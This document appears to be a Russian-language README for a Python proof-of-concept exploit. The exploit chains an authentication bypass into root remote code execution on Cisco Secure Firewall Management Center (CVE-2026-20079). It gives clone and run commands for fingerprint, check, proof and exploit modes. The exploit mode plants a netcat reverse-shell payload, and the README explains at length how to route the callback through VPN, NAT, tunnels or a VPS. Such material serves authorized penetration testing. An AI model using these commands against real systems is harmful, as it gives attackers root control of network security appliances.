
Реализует цепочку CVE-2026-20079 «обход аутентификации → RCE с правами root» против Cisco Secure FMC с использованием режимов fingerprint, check, proof и интерактивного эксплойта.
Python-доказательство концепции для публично задокументированной цепочки обхода аутентификации с последующим получением root и удалённым выполнением кода в Cisco Secure Firewall Management Center (CVE-2026-20079).
Это не новая уязвимость и не независимо разработанная цепочка эксплойта. Это чистая реализация последовательности запросов, опубликованной VulnCheck, с отдельными режимами фингерпринтинга, поэтапной проверки, однократного доказательства и интерактивного эксплойта.
Требуется Python 3.10 или более поздняя версия. В Linux или macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Все значения 192.0.2.x ниже — это зарезервированные адреса для документации. Они являются
заполнителями, а не обнаруженной информацией о цели, и должны быть заменены на
значения из авторизованной оценки. Ожидается, что команды не будут работать
без изменений.
| Пример | Значение | Что использовать вместо него |
|---|---|---|
https://192.0.2.10 | URL целевой FMC | Точная авторизованная схема, адрес и порт FMC |
192.0.2.20 | Адрес, по которому FMC подключается обратно | IP-адрес или DNS-имя слушателя оператора как доступные с FMC |
192.0.2.0/24 | Пример CIDR для фингерпринтинга | Явно авторизованный диапазон сети |
4444 | TCP-порт обратного вызова/слушателя | Одобренный доступный порт на системе обратного вызова |
0.0.0.0 | Где слушатель привязывается на системе оператора | Оставьте его для прослушивания на всех локальных интерфейсах или используйте адрес одного локального интерфейса |
192.0.2.10 в --expected-callback-source | Ожидаемый источник обратного вызова | Исходный адрес FMC, как его видит слушатель; опустите эту опцию, если NAT делает его неопределённым |
http://127.0.0.1:8080 | Необязательный локальный перехватывающий прокси | URL прокси, фактически прослушиваемый на системе оператора |
--callback-hostИспользуйте это правило: с точки зрения FMC, какой адрес достигает
слушателя оператора? Этот адрес и есть --callback-host.
| Сетевой путь | Типичное значение --callback-host |
|---|---|
| Оператор и FMC находятся в одной маршрутизируемой сети | Доступный адрес eth0, en0 или другой LAN-адрес системы оператора |
| Оператор достигает FMC через VPN | Доступный адрес VPN-интерфейса, например tun0 или utun, если у FMC есть маршрут к нему |
| Оператор находится за NAT или межсетевым экраном | Публичный IP или DNS-имя, выбранный порт которого перенаправлен на систему оператора |
| Используется туннель обратного вызова или VPS | Доступная конечная точка туннеля или адрес VPS |
Не используйте 127.0.0.1 или 0.0.0.0 для --callback-host. 127.0.0.1 будет
относиться к самой FMC, а 0.0.0.0 — это значение привязки слушателя, а не
назначения. Убедитесь, что маршрутизация, правила межсетевого экрана и любое перенаправление портов позволяют
FMC достичь --callback-host на --callback-port.
--listen-host действует только локально: он выбирает интерфейс, на котором встроенный
слушатель ожидает подключения. Его значение по умолчанию, 0.0.0.0, прослушивает все локальные интерфейсы. Оно
не сообщает FMC, куда подключаться. Поэтому --callback-host и
--listen-host могут различаться, особенно при наличии NAT.
Предположим такую вымышленную лабораторию, предназначенную только для документации:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Значения сопоставляются с командой следующим образом:
--target https://192.0.2.10 определяет FMC, который оценивается.--callback-host 192.0.2.20 — это адрес eth0 системы оператора, поскольку
FMC может маршрутизировать напрямую к нему.--callback-port 4444 — это одобренный TCP-порт, используемый для обратного вызова.--listen-host 0.0.0.0 заставляет встроенный слушатель принимать обратный вызов на
любом локальном интерфейсе, включая eth0.Команда однократной проверки для этого примера будет такой:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
Поток выглядит так: оператор отправляет HTTPS-запросы на 192.0.2.10, после чего FMC
подключается обратно к 192.0.2.20:4444 оператора. В реальной оценке
замените оба IP-адреса и убедитесь в наличии обратного маршрута перед запуском
команды. Если FMC не может достичь адреса eth0 оператора, используйте вместо него
доступный адрес VPN, NAT, туннеля или VPS, описанный выше.
| Режим | Сетевой эффект или эффект на цель | Доказательство или результат |
|---|---|---|
--fingerprint | Только GET-запросы | Возможная веб-поверхность FMC; не подтверждение уязвимости |
--check | Не более двух GET-запросов; без повышения сессии | Известный шаблон ответа обхода совпал полностью или частично |
--check --intrusive | Повышает состояние сессии на стороне сервера | Обход аутентификации и доступ к токену действия |
--proof | Записывает и запускает ограниченную callback-нагрузку | Выполнение с правами root плюс очистка, без интерактивной оболочки |
--exploit | Записывает и запускает нагрузку FIFO/netcat | Интерактивный callback с правами root или ограниченная проверка с --auto-verify |
Задайте три примера значений один раз, заменив каждое на авторизованную цель, адрес callback оператора и порт:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Затем выберите ровно один режим:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] Фингерпринтинг — это эвристический этап идентификации продукта, а не проверка уязвимости.
MATCHиLIKELYне доказывают, что цель подвержена атаке или эксплуатируема, аNO_MATCHне исключает FMC. Обратные прокси, кастомизированные страницы входа, механизмы контроля доступа, сетевые сбои или изменения продукта могут повлиять на результат.